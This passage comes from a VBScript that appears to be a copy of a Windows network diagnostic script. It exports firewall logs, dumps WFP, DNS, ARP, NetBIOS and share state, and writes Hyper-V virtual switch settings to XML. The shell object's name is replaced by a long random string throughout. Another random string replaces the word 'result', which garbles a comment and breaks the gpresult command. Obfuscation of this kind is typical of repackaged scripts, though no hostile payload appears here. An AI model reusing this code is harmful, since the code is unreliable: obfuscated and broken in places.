cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"" " & logFileNameVerbose
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & logFileNameVerbose
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Export the operational log
cmd = "cmd /c wevtutil epl ""Microsoft-Windows-Windows Firewall With Advanced Security/ConnectionSecurityVerbose"" " & consecLogFileNameVerbose
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
'Archive the log so that it could be read on different machines
cmd = "cmd /c wevtutil al " & consecLogFileNameVerbose
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetWfpInfo(outputFileName, logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show filters file=" & outputFileName & " > " & logFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
' Dump Netio State
Sub GetNetioInfo(outputFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh interface teredo show state > " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh interface httpstunnel show interface >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
cmd = "cmd /c netsh interface httpstunnel show statistics >> " & outputFileName
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetDnsInfo(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo IPCONFIG /DISPLAYDNS: ", logFileName
RunCmd "ipconfig /displaydns", logFileName
RunCmd "echo. ", logFileName
RunCmd "echo NETSH NAMESPACE SHOW EFFECTIVE:", logFileName
RunCmd "netsh namespace show effective", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NETSH NAMESPACE SHOW POLICY:", logFileName
RunCmd "netsh namespace show policy", logFileName
End Sub
Sub GetNeighborInfo(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo ARP -A:", logFileName
RunCmd "arp -a", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NETSH INT IPV6 SHOW NEIGHBORS:", logFileName
RunCmd "netsh int ipv6 show neigh", logFileName
End Sub
Sub GetFileSharingInfo(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
RunCmd "echo NBTSTAT -N:", logFileName
RunCmd "nbtstat -n", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NBTSTAT -C:", logFileName
RunCmd "nbtstat -c", logFileName
RunCmd "echo.", logFileName
RunCmd "echo NET CONFIG RDR:", logFileName
RunCmd "net config rdr", logFileName
' Run the following 2 commands only if lanmanserver service is running
' In WOA build, FileSharing is disabled - hence this LCNEIKTOEEVYHSEQHSKTSPBUJIQQOGWDKVQXCUBFYKXFYLUWWADWQLRVBSVZUCZYHRNMBGNNREUISVWYNTUNCZNZEUWJYBLWLYYGs in a prompt
' which halts the script at that point and netsh trace stop can go on indefinitely
strComputer = "."
Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True"
Set objService = objWmiService.ExecQuery (strQuery)
RunCmd "echo.", logFileName
RunCmd "echo NET CONFIG SRV:", logFileName
If objService.Count = 1 Then
RunCmd "net config srv", logFileName
Else
RunCmd "echo The Server service is not running.", logFileName
End If
RunCmd "echo.", logFileName
RunCmd "echo NET SHARE:", logFileName
If objService.Count = 1 Then
RunCmd "net share", logFileName
Else
RunCmd "echo The Server service is not running.", logFileName
End If
End Sub
Sub GetGPResultInfo(logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c gpLCNEIKTOEEVYHSEQHSKTSPBUJIQQOGWDKVQXCUBFYKXFYLUWWADWQLRVBSVZUCZYHRNMBGNNREUISVWYNTUNCZNZEUWJYBLWLYYG /scope:computer /v 1> " & logFileName & " 2>&1"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, False
End Sub
Sub GetNetEventsInfo(outputFileName, logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show netevents file=" & outputFileName & " 1> " & logFileName & " 2>&1"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetShowStateInfo(outputFileName, logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show state file=" & outputFileName & " 1> " & logFileName & " 2>&1"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
Sub GetSysPortsInfo(outputFileName, logFileName)
On Error Resume Next
Set mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb = WScript.CreateObject( "WScript.Shell" )
cmd = "cmd /c netsh wfp show sysports file=" & outputFileName & " 1> " & logFileName & " 2>&1"
mXQIzwvbDgMLqyUIvgsgioWhWgJWcQGdLGwSGJPDItOsKcALDWcDKHKaouDKWPvvJDACUOJftSlUqkXoSqvskvAbSvqUMYGKWeJb.Run cmd, 0, True
End Sub
' Add XML node entry
Sub AddXmlNodeEntry(xmlDoc, entryName, entryValue, parentEntry, entryObject)
On Error Resume Next
Set entryObject = xmlDoc.createElement(entryName)
If (IsNull(entryValue) = False) Then
entryObject.Text = entryValue
End If
parentEntry.appendChild entryObject
End Sub
' Dump Vmswitch State
Sub GetVmswitchInfo(outputFileName)
On Error Resume Next
strComputer = "."
Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
onOffState = Array("On", "Off")
reservationMode = Array("Default", "Weight", "Absolute", "None")
nicTypeArray = Array("Synthetic", "Emulated", "Internal", "External")
extensionTypeArray = Array("Unknown", "Capture", "Filter", "Forwarding", "Monitoring", "Native")
enabledStatesArray = Array("Unknown", "Unknown", "Enabled", "Disabled")
vlanModeArray = Array("Unknown","Access","Trunk","Private")
PvlanModeArray = Array("Unknown","Isolated","Community","Promiscuous")
monitorModeArray = Array("None","Destination","Source")
aclActionArray = Array("Unknown","Allow","Deny","Meter")
aclDirectionArray = Array("Unknown","Inbound","Outbound")
aclApplicabilityArray = Array("Unknown","Local","Remote")
aclTypeArray = Array("Unknown","MAC","IPv4","IPv6")
isolationModeArray = Array("None","NativeVirtualSubnet","ExternalVirtualSubnet","VLAN")
iovInterruptModerationArray = Array("Default", "Adaptive", "Off", "Low", "Medium", "High")
strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True"
Set objVmmsService = objCimService.ExecQuery (strQuery)
If objVmmsService.Count > 0 Then
Set xmlDoc = CreateObject("Microsoft.XMLDOM")
Set objRoot = xmlDoc.createElement("VmswitchInfo")
xmlDoc.appendChild objRoot
Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2")
strQuery = "Select * from MSVM_VirtualEthernetSwitch"
Set switches = objVirtualizationService.ExecQuery (strQuery)
For Each switch in switches
Call AddXmlNodeEntry(xmlDoc, "Switch", null, objRoot, objSwitch)
Call AddXmlNodeEntry(xmlDoc, "Name", switch.Name, objSwitch, objSwitchName)
Call AddXmlNodeEntry(xmlDoc, "FriendlyName", switch.ElementName, objSwitch, objSwitchFriendlyName)
strQuery = "Select * from MSVM_VirtualEthernetSwitchSettingData WHERE VirtualSystemIdentifier='" + switch.Name + "'"
Set switchSetting = objVirtualizationService.ExecQuery (strQuery).ItemIndex(0)
switchReservationMode = reservationMode(switchSetting.BandwidthReservationMode)
iovPreferred = switchSetting.IOVPreferred
' Bandwidth info
Call AddXmlNodeEntry(xmlDoc, "SwitchBandwidth", null, objSwitch, objBandwidth)
Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationMode", switchReservationMode, objBandwidth, objSwitchBandwidthReservationMode)
strQuery = "Select * from MSVM_EthernetSwitchBandwidthData WHERE SystemName ='" + switch.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set bandwidth = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BandwidthCapacity", bandwidth.Capacity, objBandwidth, objSwitchBandwidthCapacity)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservation", bandwidth.DefaultFlowReservation, objBandwidth, objSwitchDefaultFlowReservation)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowReservationPercentage", bandwidth.DefaultFlowReservationPercentage, objBandwidth, objSwitchDefaultFlowReservationPercentage)
Call AddXmlNodeEntry(xmlDoc, "DefaultFlowWeight", bandwidth.DefaultFlowWeight, objBandwidth, objSwitchDefaultFlowWeight)
Call AddXmlNodeEntry(xmlDoc, "Reservation", bandwidth.Reservation, objBandwidth, objSwitchReservation)
End if
' Offload info
Call AddXmlNodeEntry(xmlDoc, "SwitchOffload", null, objSwitch, objOffload)
Call AddXmlNodeEntry(xmlDoc, "IOVPreferred", iovPreferred, objOffload, objSwitchIOVPreferred)
strQuery = "Select * from MSVM_EthernetSwitchHardwareOffloadData WHERE SystemName='" + switch.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set offload = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairCapacity", offload.IovQueuePairCapacity, objOffload, objSwitchIovQueuePairCapacity)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", offload.IovQueuePairUsage, objOffload, objSwitchIovQueuePairUsage )
Call AddXmlNodeEntry(xmlDoc, "IovVfCapacity", offload.IovVfCapacity, objOffload, objSwitchIovVfCapacity)
Call AddXmlNodeEntry(xmlDoc, "IovVfUsage", offload.IovVfUsage, objOffload, IovVfUsage)
Call AddXmlNodeEntry(xmlDoc, "IPsecSACapacity", offload.IPsecSACapacity, objOffload, objSwitchIPsecSACapacity)
Call AddXmlNodeEntry(xmlDoc, "IPsecSAUsage", offload.IPsecSAUsage, objOffload, objSwitchIPsecSAUsage)
End if
' Extension info
Call AddXmlNodeEntry(xmlDoc, "SwitchExtensions", null, objSwitch, objExtensionList)
strQuery = "Select * from MSVM_EthernetSwitchExtension WHERE SystemName='" + switch.Name + "'"
Set extensionList = objVirtualizationService.ExecQuery (strQuery)
For Each extension In extensionList
Call AddXmlNodeEntry(xmlDoc, "Extension", null, objExtensionList, objExtension)
Call AddXmlNodeEntry(xmlDoc, "ElementName", extension.ElementName, objExtension, objExtensionElementName)
Call AddXmlNodeEntry(xmlDoc, "Name", extension.Name, objExtension, objExtensionName)
Call AddXmlNodeEntry(xmlDoc, "ExtensionType", extensionTypeArray(extension.ExtensionType), objExtension, objExtensionExtensionType)
Call AddXmlNodeEntry(xmlDoc, "EnabledState", enabledStatesArray(extension.EnabledState), objExtension, objExtensionEnabledState)
Call AddXmlNodeEntry(xmlDoc, "EnabledDefault", enabledStatesArray(extension.EnabledDefault), objExtension, objExtensionEnabledDefault)
Call AddXmlNodeEntry(xmlDoc, "Vendor", extension.Vendor, objExtension, objExtensionVendor)
Call AddXmlNodeEntry(xmlDoc, "Version", extension.Version, objExtension, objExtensionVersion)
Next
' Port info
strQuery = "Select * from MSVM_EthernetSwitchPort WHERE SystemName='" + switch.Name + "'"
Set switchPort = objVirtualizationService.ExecQuery (strQuery)
For Each port In switchPort
Call AddXmlNodeEntry(xmlDoc, "Port", null, objSwitch, objPort)
Call AddXmlNodeEntry(xmlDoc, "Name", port.Name, objPort, objPortName)
Call AddXmlNodeEntry(xmlDoc, "FriendlyName", port.ElementName, objPort, objPortFriendlyName)
'Port offload info
Call AddXmlNodeEntry(xmlDoc, "PortOffload", null, objPort, objPortOffload)
strQuery = "Select * from MSVM_EthernetSwitchPortOffloadData WHERE DeviceID='" + port.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set portOffload = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "IovOffloadUsage", portOffload.IovOffloadUsage, objPortOffload, objPortIovOffloadUsage)
Call AddXmlNodeEntry(xmlDoc, "IovQueuePairUsage", portOffload.IovQueuePairUsage, objPortOffload, objPortIovQueuePairUsage)
Call AddXmlNodeEntry(xmlDoc, "IovVfDataPathActive", portOffload.IovVfDataPathActive, objPortOffload, objPortIovVfDataPathActive)
Call AddXmlNodeEntry(xmlDoc, "IovVfId", portOffload.IovVfId, objPortOffload, objPortIovVfId)
Call AddXmlNodeEntry(xmlDoc, "IpsecCurrentOffloadSaCount", portOffload.IpsecCurrentOffloadSaCount, objPortOffload, objPortIpsecCurrentOffloadSaCount)
Call AddXmlNodeEntry(xmlDoc, "VMQId", portOffload.VMQId, objPortOffload, objPortVMQId)
Call AddXmlNodeEntry(xmlDoc, "VMQOffloadUsage", portOffload.VMQOffloadUsage, objPortOffload, objPortVMQOffloadUsage)
End if
'Port Bandwidth feature status
Call AddXmlNodeEntry(xmlDoc, "PortBandwidth", null, objPort, objPortBandwidth)
strQuery = "Select * from MSVM_EthernetSwitchPortBandwidthData WHERE DeviceID='" + port.Name + "'"
Set queryResult = objVirtualizationService.ExecQuery (strQuery)
If (queryResult.Count > 0) Then
Set portBandwidth = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BandwidthReservationPercentage", portBandwidth.CurrentBandwidthReservationPercentage, objPortBandwidth, objPortCurrentBandwidthReservationPercentage)
End If
'Get the setting data for the port
Set portSettingObject = port.Associators_("Msvm_ElementSettingData", "Msvm_EthernetPortAllocationSettingData").ItemIndex(0)
'Port bandwidth setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortBandwidthSettingData")
If (queryResult.Count > 0) Then
Set portBandwidthData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "BurstLimit", portBandwidthData.BurstLimit, objPortBandwidth, objPortBurstLimit)
Call AddXmlNodeEntry(xmlDoc, "BurstSize", portBandwidthData.BurstSize, objPortBandwidth, objPortBurstSize)
Call AddXmlNodeEntry(xmlDoc, "Limit", portBandwidthData.Limit, objPortBandwidth, objPortLimit)
Call AddXmlNodeEntry(xmlDoc, "Reservation", portBandwidthData.Reservation, objPortBandwidth, objPortReservation)
Call AddXmlNodeEntry(xmlDoc, "Weight", portBandwidthData.Weight, objPortBandwidth, objPortBurstWeight)
End if
' Port offload setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortOffloadSettingData")
If (queryResult.Count > 0) Then
Set portOffloadData = queryResult.ItemIndex(0)
if (portOffloadData.IOVInterruptModeration <= 2) Then
iovInterruptModeration = iovInterruptModerationArray(portOffloadData.IOVInterruptModeration)
Else
iovInterruptModeration = iovInterruptModerationArray(((portOffloadData.IOVInterruptModeration)/100)+2)
End if
Call AddXmlNodeEntry(xmlDoc, "IOVInterruptModeration", iovInterruptModeration, objPortOffload, objPortIOVInterruptModeration)
Call AddXmlNodeEntry(xmlDoc, "IOVOffloadWeight", portOffloadData.IOVOffloadWeight, objPortOffload, objPortIOVOffloadWeight)
Call AddXmlNodeEntry(xmlDoc, "IOVQueuePairsRequested", portOffloadData.IOVQueuePairsRequested, objPortOffload, objPortIOVQueuePairsRequested)
Call AddXmlNodeEntry(xmlDoc, "IPSecOffloadLimit", portOffloadData.IPSecOffloadLimit, objPortOffload, objPortIPSecOffloadLimit)
Call AddXmlNodeEntry(xmlDoc, "VMQOffloadWeight", portOffloadData.VMQOffloadWeight, objPortOffload, objPortVMQOffloadWeight)
End If
' Port security setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortSecuritySettingData")
If (queryResult.Count > 0) Then
Set portSecurityData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortSecurity", null, objPort, objPortSecurity)
Call AddXmlNodeEntry(xmlDoc, "AllowIeeePriorityTag", onOffState(portSecurityData.AllowIeeePriorityTag+1), objPortSecurity, objPortAllowIeeePriorityTag)
Call AddXmlNodeEntry(xmlDoc, "AllowMacSpoofing", onOffState(portSecurityData.AllowMacSpoofing+1), objPortSecurity, objPortAllowMacSpoofing)
Call AddXmlNodeEntry(xmlDoc, "AllowTeaming", onOffState(portSecurityData.AllowTeaming+1), objPortSecurity, objPortAllowTeaming)
Call AddXmlNodeEntry(xmlDoc, "EnableDhcpGuard", onOffState(portSecurityData.EnableDhcpGuard+1), objPortSecurity, objPortEnableDhcpGuard)
Call AddXmlNodeEntry(xmlDoc, "EnableRouterGuard", onOffState(portSecurityData.EnableRouterGuard+1), objPortSecurity, objPortEnableRouterGuard)
Call AddXmlNodeEntry(xmlDoc, "MonitorMode", monitorModeArray(portSecurityData.MonitorMode), objPortSecurity, objPortMonitorMode)
Call AddXmlNodeEntry(xmlDoc, "MonitorSession", portSecurityData.MonitorSession, objPortSecurity, objPortMonitorSession)
Call AddXmlNodeEntry(xmlDoc, "TeamName", portSecurityData.TeamName, objPortSecurity, objPortTeamName)
Call AddXmlNodeEntry(xmlDoc, "TeamNumber", portSecurityData.TeamNumber, objPortSecurity, objPortTeamNumber)
Call AddXmlNodeEntry(xmlDoc, "VirtualSubnetId", portSecurityData.VirtualSubnetId, objPortSecurity, objPortVirtualSubnetId)
Call AddXmlNodeEntry(xmlDoc, "StormLimit", portSecurityData.StormLimit, objPortSecurity, objPortStormLimit)
Call AddXmlNodeEntry(xmlDoc, "DynamicIPAddressLimit", portSecurityData.DynamicIPAddressLimit, objPortSecurity, objPortDynamicIPAddressLimit)
End If
' Port isolation setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortIsolationSettingData")
If (queryResult.Count > 0) Then
Set portIsolationData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortIsolation", null, objPort, objPortIsolation)
Call AddXmlNodeEntry(xmlDoc, "IsolationMode", isolationModeArray(portIsolationData.IsolationMode), objPortIsolation, objPortIsolationMode)
Call AddXmlNodeEntry(xmlDoc, "DefaultIsolationId", portIsolationData.DefaultIsolationId, objPortIsolation, objPortDefaultIsolationId)
Call AddXmlNodeEntry(xmlDoc, "AllowUntaggedTraffic", onOffState(portIsolationData.AllowUntaggedTraffic+1), objPortIsolation, objPortAllowUntaggedTraffic)
Call AddXmlNodeEntry(xmlDoc, "EnableMultiTenantStack", onOffState(portIsolationData.EnableMultiTenantStack+1), objPortIsolation, objPortEnableMultiTenantStack)
End If
' Port routing domain setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortRoutingDomainSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainList", null, objPort, objPortRoutingDomainList)
For each portRoutingDomainData in queryResult
Call AddXmlNodeEntry(xmlDoc, "PortRoutingDomainMapping", null, objPortRoutingDomainList, objPortRoutingDomain)
Call AddXmlNodeEntry(xmlDoc, "RoutingDomainGuid", portRoutingDomainData.RoutingDomainGuid, objPortRoutingDomain, objPortRoutingDomainGuid)
Call AddXmlNodeEntry(xmlDoc, "RoutingDomainName", portRoutingDomainData.RoutingDomainName, objPortRoutingDomain, objPortRoutingDomainName)
isolationIdString = ""
for each isolationId In portRoutingDomainData.IsolationIdList
isolationIdString = isolationIdString & isolationId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "IsolationIdList", isolationIdString, objPortRoutingDomain, objPortIsolationIdList)
isolationIdNameString = ""
for each isolationIdName In portRoutingDomainData.IsolationIdNameList
isolationIdNameString = isolationIdNameString & isolationIdName & " "
Next
Call AddXmlNodeEntry(xmlDoc, "IsolationIdNameList", isolationIdNameString, objPortRoutingDomain, objPortIsolationIdNameList)
Next
End If
'Port VLAN setting
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortVlanSettingData")
If (queryResult.Count > 0) Then
Set portVlanData = queryResult.ItemIndex(0)
Call AddXmlNodeEntry(xmlDoc, "PortVlan", null, objPort, objPortVlan)
Call AddXmlNodeEntry(xmlDoc, "VlanMode", vlanModeArray(portVlanData.OperationMode), objPortVlan, objPortVlanMode)
if (portVlanData.OperationMode = 1) Then
Call AddXmlNodeEntry(xmlDoc, "AccessVlanId", portVlanData.AccessVlanId, objPortVlan, objPortVlanAccess)
End If
if (portVlanData.OperationMode = 2) Then
Call AddXmlNodeEntry(xmlDoc, "NativeVlanId", portVlanData.NativeVlanId, objPortVlan, objPortVlanNative)
trunkVlanString = ""
for each trunkVlanId In portVlanData.TrunkVlanIdArray
trunkVlanString = trunkVlanString & trunkVlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "TrunkVlanArray", trunkVlanString, objPortVlan, objPortVlanTrunk)
pruneVlanString = ""
for each prunevlanId In portVlanData.PruneVlanIdArray
tpruneVlanString = pruneVlanString & prunevlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "PruneVlanArray", trunkVlanString, objPortVlan, objPortVlanPrune)
End If
if (portVlanData.OperationMode = 3) Then
Call AddXmlNodeEntry(xmlDoc, "PvlanMode", PvlanModeArray(portVlanData.PvlanMode), objPortVlan, objPortPVlanMode)
Call AddXmlNodeEntry(xmlDoc, "PrimaryVlanId", portVlanData.PrimaryVlanId, objPortVlan, objPortPrimaryVlanId)
Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanId", portVlanData.SecondaryVlanId, objPortVlan, objPortSecondaryVlanId)
secondaryVlanString = ""
for each secondaryVlanId In portVlanData.SecondaryVlanIdArray
secondaryVlanString = secondaryVlanString & secondaryVlanId & " "
Next
Call AddXmlNodeEntry(xmlDoc, "SecondaryVlanArray", secondaryVlanString, objPortVlan, objPortVlanSecondary)
End If
End If
'Extended Port ACLs
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortExtendedAclSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortExtendedAclList", null, objPort, objPortEaclList)
for each extendedacl In queryResult
Call AddXmlNodeEntry(xmlDoc, "ExtendedAcl", null, objPortEaclList, objPortEacl)
Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(extendedAcl.Action), objPortEacl, objPortEaclAction)
Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(extendedAcl.Direction), objPortEacl, objPortEaclDirection)
Call AddXmlNodeEntry(xmlDoc, "Weight", extendedAcl.Weight, objPortEacl, objPortEaclWeight)
Call AddXmlNodeEntry(xmlDoc, "Protocol", extendedAcl.Protocol, objPortEacl, objPortEaclProtocol)
Call AddXmlNodeEntry(xmlDoc, "LocalIPAddress", extendedAcl.LocalIPAddress, objPortEacl, objPortEaclLocalIP)
Call AddXmlNodeEntry(xmlDoc, "LocalPort", extendedAcl.LocalPort, objPortEacl, objPortEaclLocalPort)
Call AddXmlNodeEntry(xmlDoc, "RemoteIPAddress", extendedAcl.RemoteIPAddress, objPortEacl, objPortEaclRemoteIP)
Call AddXmlNodeEntry(xmlDoc, "RemotePort", extendedAcl.RemotePort, objPortEacl, objPortEaclRemotePort)
Call AddXmlNodeEntry(xmlDoc, "Stateful", onOffState(extendedAcl.Stateful+1), objPortEacl, objPortEaclStateful)
Call AddXmlNodeEntry(xmlDoc, "IsolationID", extendedAcl.IsolationID, objPortEacl, objPortEaclIsolationId)
Next
End If
'Port ACLs
Set queryResult = portSettingObject.Associators_("Msvm_EthernetPortSettingDataComponent", "Msvm_EthernetSwitchPortAclSettingData")
If (queryResult.Count > 0) Then
Call AddXmlNodeEntry(xmlDoc, "PortAclList", null, objPort, objPortAclList)
for each acl In queryResult
Call AddXmlNodeEntry(xmlDoc, "Acl", null, objPortAclList, objPortAcl)
Call AddXmlNodeEntry(xmlDoc, "Action", aclActionArray(acl.Action), objPortAcl, objPortAclAction)
Call AddXmlNodeEntry(xmlDoc, "AclType", aclTypeArray(acl.AclType), objPortAcl, objPortAclType)
Call AddXmlNodeEntry(xmlDoc, "Applicability", aclApplicabilityArray(acl.Applicability), objPortAcl, objPortAclApplicability)
Call AddXmlNodeEntry(xmlDoc, "Direction", aclDirectionArray(acl.Direction), objPortAcl, objPortAclDirection)
Call AddXmlNodeEntry(xmlDoc, "LocalAddress", acl.LocalAddress, objPortAcl, objPortAclLocalAddress)
Call AddXmlNodeEntry(xmlDoc, "LocalAddressPrefixLength", acl.LocalAddressPrefixLength, objPortAcl, objPortAclLocalAddressPrefixLength)
Call AddXmlNodeEntry(xmlDoc, "RemoteAddress", acl.RemoteAddress, objPortAcl, objPortAclRemoteAddress)
Call AddXmlNodeEntry(xmlDoc, "RemoteAddressPrefixLength", acl.RemoteAddressPrefixLength, objPortAcl, objPortAclRemoteAddressPrefixLength)
Next
End If
'Connected NIC
Set portLanEndPoint = port.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_LANEndpoint").ItemIndex(0)
Set nicLanEndPoint = portLanEndPoint.Associators_("Msvm_ActiveConnection", "Msvm_LANEndpoint").ItemIndex(0)
logNic = false
'Synthetic NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_SyntheticEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 0
logNic = True
End If
'Emulated NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_DeviceSAPImplementation", "Msvm_EmulatedEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 1
logNic = True
End If
'Internal NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_InternalEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 2
logNic = True
End If
'External NIC
Set queryResult = nicLanEndPoint.Associators_("Msvm_EthernetDeviceSAPImplementation", "Msvm_ExternalEthernetPort")
If (queryResult.Count > 0) Then
Set nic = queryResult.ItemIndex(0)
nicType = 3
logNic = True
End If
If (logNic = True) Then
Call AddXmlNodeEntry(xmlDoc, "Nic", null, objPort, objNic)
Call AddXmlNodeEntry(xmlDoc, "DeviceId", nic.DeviceId, objNic, objNicId)
Call AddXmlNodeEntry(xmlDoc, "NicType", nicTypeArray(nicType), objNic, objNicId)
If (IsNull(nic.NetworkAddresses) = False) Then
For Each networkAddress In nic.NetworkAddresses
